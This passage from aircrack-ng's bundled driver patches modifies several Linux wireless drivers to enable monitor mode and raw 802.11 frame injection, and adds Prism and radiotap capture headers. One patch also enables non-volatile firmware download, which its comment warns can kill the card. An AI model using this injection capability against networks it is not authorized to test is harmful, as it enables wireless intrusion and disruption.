13:49:16.000000000 +0100 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.1/patches/old/madwifi-ng-r1520.patch0000644000000000000000000000165510761053203020255 0ustar rootrootdiff -ur madwifi-ng-r1520/ath/if_ath.c patched_madwifi-ng-r1520/ath/if_ath.c --- madwifi-ng-r1520/ath/if_ath.c 2006-04-21 18:58:34.000000000 +0200 +++ patched_madwifi-ng-r1520/ath/if_ath.c 2006-04-22 15:34:58.000000000 +0200 @@ -2247,6 +2247,7 @@ { struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; + struct ieee80211com *ic = &sc->sc_ic; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; int pktlen; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rt2570-cvs-20051008-prismheader.patch0000644000000000000000000001317110761053203022412 0ustar rootrootOnly in ./Module: out.cap Only in ./Module: out.txt diff -ur ../rt2570-cvs-20051025/Module/rt2570sw.h ./Module/rt2570sw.h --- ../rt2570-cvs-20051025/Module/rt2570sw.h 2005-10-21 19:31:22.000000000 +0200 +++ ./Module/rt2570sw.h 2005-11-04 11:31:47.000000000 +0100 @@ -3699,4 +3699,55 @@ int USB_CallUSBD(PRT2570ADAPTER Adapter, IN PURB Urb); + +#endif + +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + #endif diff -ur ../rt2570-cvs-20051025/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20051025/Module/rtusb_data.c 2005-09-21 01:43:50.000000000 +0200 +++ ./Module/rtusb_data.c 2005-11-04 17:40:27.000000000 +0100 @@ -40,6 +40,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; static UCHAR SNAP_802_1H[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; static UCHAR SNAP_BRIDGE_TUNNEL[] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0xf8}; static UCHAR EAPOL[] = {0x88, 0x8e}; @@ -1672,6 +1673,7 @@ NDIS_802_11_ENCRYPTION_STATUS Cipher; struct sk_buff *skb; PVOID pManage; + wlan_ng_prism2_header *ph; pRxContext= (PRX_CONTEXT)pUrb->context; pAdapter = pRxContext->pAdapter; @@ -1709,6 +1711,57 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->signal.data = pRxD->BBR1; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-20051025/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20051025/Module/rtusb_info.c 2005-10-23 15:33:57.000000000 +0200 +++ ./Module/rtusb_info.c 2005-11-04 11:31:47.000000000 +0100 @@ -200,7 +200,9 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); - if (pAdapter->PortCfg.BssType == BSS_MONITOR && pAdapter->PortCfg.MallowRFMONTx == TRUE) + // CD: setting the channel in Monitor mode is unrelated to RFMONTx + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) { pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); @@ -275,7 +277,7 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 801; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: aircrack-ng-1.1/patches/old/hostap-driver-0.3.9.patch0000644000000000000000000001442110761053203020713 0ustar rootrootdiff -ur ../hostap-driver-0.3.9/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.3.9/driver/modules/hostap.c 2004-08-28 05:26:46.000000000 +0200 +++ ./driver/modules/hostap.c 2005-07-29 12:13:38.000000000 +0200 @@ -401,7 +401,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c 2004-07-06 01:45:01.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-07-29 12:26:05.000000000 +0200 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -376,8 +380,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.3.9/driver/modules/hostap_config.h 2005-06-11 05:03:36.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-07-29 12:13:38.000000000 +0200 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.3.9/driver/modules/hostap_hw.c 2005-05-18 05:31:21.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-07-29 12:13:38.000000000 +0200 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3259,6 +3296,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c 2005-05-18 05:33:28.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-07-29 12:13:38.000000000 +0200 @@ -1067,33 +1067,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1159,7 +1133,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h 2005-05-18 05:31:22.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-07-29 12:13:38.000000000 +0200 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.1/patches/old/zd1211rw_inject_2.6.20.patch0000644000000000000000000001270210761053203021113 0ustar rootrootdiff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:53:58.000000000 +0200 @@ -202,7 +202,13 @@ goto disable_rx; housekeeping_enable(mac); + netif_carrier_on(netdev); ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -835,6 +841,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -858,7 +865,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -903,6 +913,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -911,7 +922,10 @@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -929,6 +943,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -942,7 +958,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -956,6 +974,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1062,7 +1083,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 22:49:51.000000000 +0200 @@ -58,6 +58,7 @@ { USB_DEVICE(0x079b, 0x0062), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x1582, 0x6003), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x050d, 0x705c), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -851,6 +852,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 22:42:11.000000000 +0200 @@ -223,6 +223,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.1/patches/old/rtl8187_2.6.20.patch0000644000000000000000000056000410761053203017420 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-02-26 03:05:07.691423532 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); 